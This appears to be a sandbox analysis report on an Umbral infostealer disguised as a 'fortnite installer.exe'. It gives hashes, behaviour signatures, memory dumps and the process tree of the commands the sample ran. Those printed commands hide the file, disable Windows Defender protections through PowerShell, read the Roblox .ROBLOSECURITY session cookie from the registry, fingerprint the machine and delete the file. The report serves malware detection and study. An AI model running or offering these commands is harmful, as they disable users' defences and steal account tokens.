Analysis

  • max time kernel
    29s
  • max time network
    22s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-03-2024 10:53

General

  • Target

    fortnite installer.exe

  • Size

    230KB

  • MD5

    289b67e48da10ab68939056c3cd8bb2b

  • SHA1

    2b4665f3f61098c4ceec9208a01e75ac7e4b1d3d

  • SHA256

    545757791f0b6759a9da98687651c1ad9f32f86d8f3e7f5d163d2ebba8f4bc3e

  • SHA512

    c2c63302ebfc08c2be9e56174c2adc0b78a155d8d4954fc96532e37c459477cf896f3ab1ff60df181cd541c6cefffcd67f707ef07bde8b1474b6c3131034ff5c

  • SSDEEP

    6144:dloZM9rIkd8g+EtXHkv/iD4otP77Byal4gRj++7okb8e1mCi:/oZOL+EP8otP77Byal4gRj++7x4

Score
10/10

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Drops file in Drivers directory 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 5 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 35 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 37 IoCs
  • Suspicious use of SendNotifyMessage 36 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fortnite installer.exe
    "C:\Users\Admin\AppData\Local\Temp\fortnite installer.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2300
    • C:\Windows\SYSTEM32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\fortnite installer.exe"
      2⤵
      • Views/modifies file attributes
      PID:3892
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\fortnite installer.exe'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:636
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1656
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2196
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:856
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4932
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3524
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
        PID:1620
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:4388
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path win32_VideoController get name
        2⤵
        • Detects videocard installed
        PID:4604
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\fortnite installer.exe" && pause
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3672
        • C:\Windows\system32\PING.EXE
          ping localhost
          3⤵
          • Runs ping.exe
          PID:2888
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /4
      1⤵
      • Checks SCSI registry key(s)
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:1592
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:4744

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        7511c81925750deb7ad1b9b80eea8a8d

        SHA1

        6ea759b3cbd243ae11435c6d6c5ced185eb01f49

        SHA256

        5b49723a7773f2fe1f6093236e7b9b2c546f0873635d02346cb39535811234fa

        SHA512

        5f7e69316d39525d137a7a833f8c746ceef8f1b2295348393fb3244cca8b962fbaad0f7da49da453fe97e2c49b1f41f06138111ac5ff97fdc33c300350ec3a1b

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        cadef9abd087803c630df65264a6c81c

        SHA1

        babbf3636c347c8727c35f3eef2ee643dbcc4bd2

        SHA256

        cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

        SHA512

        7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        948B

        MD5

        28ef595a6cc9f47b8eccb22d4ed50d6c

        SHA1

        4335de707324b15eba79017938c3da2752d3eea5

        SHA256

        3abd14d4fe7b5697b2fa84993e7183f4fd2580be5b4e5150da15ddda5a9560b9

        SHA512

        687b7849faa62a4dabc240b573afa163f0cda9a80be61cebe28ef1461777744d73b465ac92d065093228068540846e79c899445057f5b906f9b9fa9868132208

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        b0a78e60bfb279d18fd3d6e7a67411f5

        SHA1

        9344fe3654a14bc66afb9dc6ea215fabfbe5c906

        SHA256

        a28890c82033d3deaf5770ecd1b0239c77321acc93704b1d4b1e167b91e30aeb

        SHA512

        9548be23bec645cd705482f78d43b63659e38cf879c34f7071f42fd86ee02039379a5e92fbe0f1c74c12aaebabdd8002f57eba111d3e855cbd0c89a110e346f2

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mwv5xnke.dk4.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/636-14-0x00000217A1530000-0x00000217A1540000-memory.dmp

        Filesize

        64KB

      • memory/636-15-0x00000217A1530000-0x00000217A1540000-memory.dmp

        Filesize

        64KB

      • memory/636-18-0x00007FFDE5B40000-0x00007FFDE6601000-memory.dmp

        Filesize

        10.8MB

      • memory/636-13-0x00007FFDE5B40000-0x00007FFDE6601000-memory.dmp

        Filesize

        10.8MB

      • memory/636-12-0x0000021788F10000-0x0000021788F32000-memory.dmp

        Filesize

        136KB

      • memory/856-83-0x00007FFDE5B40000-0x00007FFDE6601000-memory.dmp

        Filesize

        10.8MB

      • memory/856-86-0x0000021BB3CC0000-0x0000021BB3CD0000-memory.dmp

        Filesize

        64KB

      • memory/856-98-0x00007FFDE5B40000-0x00007FFDE6601000-memory.dmp

        Filesize

        10.8MB

      • memory/856-85-0x0000021BB3CC0000-0x0000021BB3CD0000-memory.dmp

        Filesize

        64KB

      • memory/1592-82-0x000001B5CFEF0000-0x000001B5CFEF1000-memory.dmp

        Filesize

        4KB

      • memory/1592-69-0x000001B5CFEF0000-0x000001B5CFEF1000-memory.dmp

        Filesize

        4KB

      • memory/1592-84-0x000001B5CFEF0000-0x000001B5CFEF1000-memory.dmp

        Filesize

        4KB

      • memory/1592-81-0x000001B5CFEF0000-0x000001B5CFEF1000-memory.dmp

        Filesize

        4KB

      • memory/1592-80-0x000001B5CFEF0000-0x000001B5CFEF1000-memory.dmp

        Filesize

        4KB

      • memory/1592-77-0x000001B5CFEF0000-0x000001B5CFEF1000-memory.dmp

        Filesize

        4KB

      • memory/1592-78-0x000001B5CFEF0000-0x000001B5CFEF1000-memory.dmp

        Filesize

        4KB

      • memory/1592-76-0x000001B5CFEF0000-0x000001B5CFEF1000-memory.dmp

        Filesize

        4KB

      • memory/1592-72-0x000001B5CFEF0000-0x000001B5CFEF1000-memory.dmp

        Filesize

        4KB

      • memory/1592-70-0x000001B5CFEF0000-0x000001B5CFEF1000-memory.dmp

        Filesize

        4KB

      • memory/1656-20-0x00007FFDE5B40000-0x00007FFDE6601000-memory.dmp

        Filesize

        10.8MB

      • memory/1656-33-0x0000015D77410000-0x0000015D77420000-memory.dmp

        Filesize

        64KB

      • memory/1656-30-0x0000015D77410000-0x0000015D77420000-memory.dmp

        Filesize

        64KB

      • memory/1656-35-0x00007FFDE5B40000-0x00007FFDE6601000-memory.dmp

        Filesize

        10.8MB

      • memory/1656-31-0x0000015D77410000-0x0000015D77420000-memory.dmp

        Filesize

        64KB

      • memory/2196-41-0x00007FFDE5B40000-0x00007FFDE6601000-memory.dmp

        Filesize

        10.8MB

      • memory/2196-43-0x000001D1E07A0000-0x000001D1E07B0000-memory.dmp

        Filesize

        64KB

      • memory/2196-67-0x000001D1E07A0000-0x000001D1E07B0000-memory.dmp

        Filesize

        64KB

      • memory/2196-42-0x000001D1E07A0000-0x000001D1E07B0000-memory.dmp

        Filesize

        64KB

      • memory/2196-71-0x00007FFDE5B40000-0x00007FFDE6601000-memory.dmp

        Filesize

        10.8MB

      • memory/2300-2-0x00000162A6890000-0x00000162A68A0000-memory.dmp

        Filesize

        64KB

      • memory/2300-100-0x000001628DFF0000-0x000001628DFFA000-memory.dmp

        Filesize

        40KB

      • memory/2300-0-0x000001628C220000-0x000001628C260000-memory.dmp

        Filesize

        256KB

      • memory/2300-52-0x00007FFDE5B40000-0x00007FFDE6601000-memory.dmp

        Filesize

        10.8MB

      • memory/2300-40-0x000001628DE90000-0x000001628DEAE000-memory.dmp

        Filesize

        120KB

      • memory/2300-38-0x00000162A69A0000-0x00000162A6A16000-memory.dmp

        Filesize

        472KB

      • memory/2300-79-0x00000162A6890000-0x00000162A68A0000-memory.dmp

        Filesize

        64KB

      • memory/2300-39-0x00000162A6A20000-0x00000162A6A70000-memory.dmp

        Filesize

        320KB

      • memory/2300-101-0x00000162A6860000-0x00000162A6872000-memory.dmp

        Filesize

        72KB

      • memory/2300-124-0x00007FFDE5B40000-0x00007FFDE6601000-memory.dmp

        Filesize

        10.8MB

      • memory/2300-1-0x00007FFDE5B40000-0x00007FFDE6601000-memory.dmp

        Filesize

        10.8MB

      • memory/4388-115-0x000001B77A6B0000-0x000001B77A6C0000-memory.dmp

        Filesize

        64KB

      • memory/4388-110-0x000001B77A6B0000-0x000001B77A6C0000-memory.dmp

        Filesize

        64KB

      • memory/4388-117-0x000001B77A6B0000-0x000001B77A6C0000-memory.dmp

        Filesize

        64KB

      • memory/4388-119-0x00007FFDE5B40000-0x00007FFDE6601000-memory.dmp

        Filesize

        10.8MB

      • memory/4388-104-0x00007FFDE5B40000-0x00007FFDE6601000-memory.dmp

        Filesize

        10.8MB